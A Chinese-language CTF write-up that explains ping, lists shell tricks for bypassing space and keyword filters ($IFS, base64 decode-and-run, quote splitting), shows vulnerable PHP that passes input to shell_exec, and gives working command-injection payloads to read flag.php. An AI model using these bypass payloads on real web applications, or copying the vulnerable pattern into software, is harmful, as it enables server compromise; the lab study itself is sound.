一、什么是ping
ping (Packet Internet Groper),中文名称因特网包探索器,是一种计算机网络管理应用,该程序通常被用于确认因特网上的一台主机是否可达 [1]。Ping是工作在 TCP/IP网络体系结构中应用层的一个服务命令, 其原理是向特定的目的主机发送 ICMP(Internet Control Message Protocol 因特网报文控制协议)Echo回显 请求(Echo Request)报文,并根据回复的ICMP回显应答消息(Echo Reply),测试目的站是否可达并获取连接的丢包率和平均往返时间等有关状态信息。
简单来说,Ping 可用来测试本机(运行 Ping 工具的计算机)是否可以通过 IP 协议与指定的远程主机通信。这个远程主机可以是局域网内的设备,也可以是互联网上的设备。
例如电脑无法打开网页时,可以首先尝试着对局域网路由器的 IP 地址运行 Ping 工具,根据结果判断本机和路由器之间的 IP 协议连接是否正常;如果正常,随后可以对 DNS 服务器,甚至互联网上的 Web 服务器域名或 IP 地址运行 Ping 工具,检查双方之间的 IP 协议连接是否正常。借助所得到的检测结果,即可根据实际情况,有针对性地确定造成网络通信问题的原因,并酌情采取措施解决。
二、命令行空格绕过方法
使用分号:分号可以用来分隔多个命令,无论前一个命令是否成功执行,都会执行后面的命令。例如:
command1; command2
使用逻辑运算符:
&&
表示如果前面的命令执行成功,则执行后面的命令;||
表示如果前面的命令执行失败,则执行后面的命令。例如:command1 && command2
或command1 || command2
使用管道符:
|
可以将前一个命令的输出作为后一个命令的输入。例如:command1 | command2
使用
$IFS
环境变量:$IFS
是一个内部字段分隔符,可以用来代替空格。例如:cat$IFSfile
使用重定向:可以使用
<
或>
来重定向输入或输出,从而绕过空格。例如:cat < file
或cat > file
使用命令拼接:可以将命令拆分成多个部分,然后通过变量或命令替换来拼接。例如:
a=c;b=a;c=t;$a$b$c file
使用 base64 编码:可以通过 base64 编码命令,然后解码执行。例如:
echo "Y2F0IGZsYWc="|base64 -d
会解码为cat flag
使用引号:单引号、双引号和反引号可以用于绕过或包含特殊字符。例如:
c'a't fi""le1
或c""at "file1
使用反斜杠:反斜杠
\
可以用于命令行中的换行,从而绕过空格。例如:cat \file1
使用特殊变量:如
${PS2}
、${PS4}
和${9}
等,它们分别对应>
、+
和空字符串。例如:echo hello ${PS2}file2
三、靶场实战
输入get参数
ip=117.21.200.176|ls -a
发现空格被过滤
将 -a 去掉找到两php文件
/?ip=127.0.0.1|cat$IFS$9flag.php
就出现了格fxck your flag
看看index.php文件
?ip=127.0.0.1|cat$IFS$9index.php
发现很多符号都过滤了
所以单引号双引号绕过,反斜线绕过这些都行不通了
/?ip=
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
preg_match
是 PHP 中用于执行正则表达式匹配的函数。它在被搜索的字符串(通常是目标字符串)中搜索与正则表达式匹配的模式,并返回匹配的结果。
shell_exec
是 PHP 中的一个函数,用于在服务器上执行命令并通过 shell 传递。这个函数会执行指定的命令,并将完整的输出以字符串的形式返回。
但仔细观察源码发现有一个变量a可以替换,将变量a更改g而不是f,l,或者a,
贪婪量词
贪婪量词(Greedy Quantifiers)是正则表达式中的一个概念,指的是在匹配过程中尽可能多地匹配字符的量词。在正则表达式中,量词用来指定一个模式可以重复出现的次数。当没有指定量词时,默认情况下是匹配恰好一次。
常见的贪婪量词包括:
*
:匹配前面的子模式零次或多次。+
:匹配前面的子模式一次或多次。?
:匹配前面的子模式零次或一次。{n}
:匹配确定的 n 次数。{n,}
:至少匹配 n 次。{n,m}
:最少匹配 n 次且最多匹配 m 次。
贪婪匹配示例:
考虑正则表达式 a.*b
,它包含一个贪婪量词 .*
,表示匹配从第一个 'a' 之后的所有字符,直到最后一个 'b'。如果用这个表达式去匹配字符串 "axxxbxxxxb",它会匹配从第一个 'a' 到第二个 'b' 之间的所有内容 "xxxbxxxxb",而不是 "xxx"。
懒惰量词(Non-Greedy Quantifiers):
与贪婪量词相对的是懒惰量词,它们尽可能少地匹配字符。在正则表达式中,懒惰量词通过在量词后面加上一个问号 ?
来实现,例如 .*?
、+?
、??
、{n,m}?
。
懒惰匹配示例:
使用懒惰量词 .*?
匹配同样的字符串 "axxxbxxxxb" 时,它会匹配 "a" 和第一个 "b" 之间的内容 "xxx",因为这是到达下一个 "b" 字符之前最短的匹配。
性能问题:
贪婪量词可能导致性能问题,尤其是在处理大量文本时。如果正则表达式引擎错误地匹配了过多的字符,然后必须回溯以找到正确的匹配,这可能会导致不必要的计算和性能下降。
使用场景:
贪婪量词通常用于你确实需要尽可能多匹配字符的情况。例如,如果你想提取一个标签内的所有内容,标签可能是 <p>...</p>
,使用贪婪量词 <\/p>.*?>
可以匹配从 <p>
到 </p>
之间的所有内容。
在编写正则表达式时,了解贪婪和懒惰量词的区别,并根据你的具体需求选择合适的量词,可以帮助你写出更有效和准确的正则表达式。
所以 preg_match("/.*f.*l.*a.*g.*/" )
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 找不到g,匹配不成功
/?ip=127.0.0.1;a=f;cat$IFS$1$alag.php 先执行了$a,flag.php没用
/?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php f之后执行$a,失败
/?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php 没用,这样flag都已经被匹配出来了
所以第一个成功的绕过了
三、内联执行
内联执行(Inline Execution)在 PHP 中通常指的是在代码中直接执行一段 PHP 代码,而不是通过外部文件或脚本。这种技术可以用于动态地执行代码字符串、调用函数或执行操作。以下是一些实现内联执行的方法:
-
使用
eval()
函数:eval()
函数可以接收一个字符串参数,该字符串包含 PHP 代码,然后执行这些代码。这是一种非常强大的功能,但也存在安全风险,因为它可以执行任何传入的代码。$code = 'echo "Hello, World!";'; eval($code);
-
使用反引号(Backticks): 在 PHP 中,反引号用于执行 shell 命令并返回命令的输出。这可以用于内联执行 shell 命令。
$result = `ls -l`;
-
使用
shell_exec()
函数:shell_exec()
函数执行一个命令并通过 shell 传递,返回完整的输出作为字符串。$output = shell_exec('ls -l');
-
使用动态函数调用: PHP 允许动态调用函数,这意味着你可以在运行时构造函数名称并调用它。
$functionName = 'myFunction'; $functionName(); // 调用 myFunction 函数
-
使用匿名函数(Closure): 匿名函数可以动态创建并赋值给变量,之后可以被调用。
$closure = function() { echo "Hello, World!"; }; $closure(); // 输出 "Hello, World!"
-
使用
create_function()
函数:create_function()
可以创建一个匿名函数并返回其引用,但请注意,这个函数已经被废弃,不推荐使用。$func = create_function('', 'echo "Hello, World!";'); $func(); // 输出 "Hello, World!"
-
使用
include
或require
: 虽然include
和require
不是直接执行代码,但它们可以用于包含并执行 PHP 代码,这在某种意义上也可以看作是一种内联执行。include 'somefile.php';
构造
?ip=127.0.0.1;cat$IFS$9`ls`
cat 将ls下的命令下的所有文件执行
最后获取flag,真的不容易!!!!!!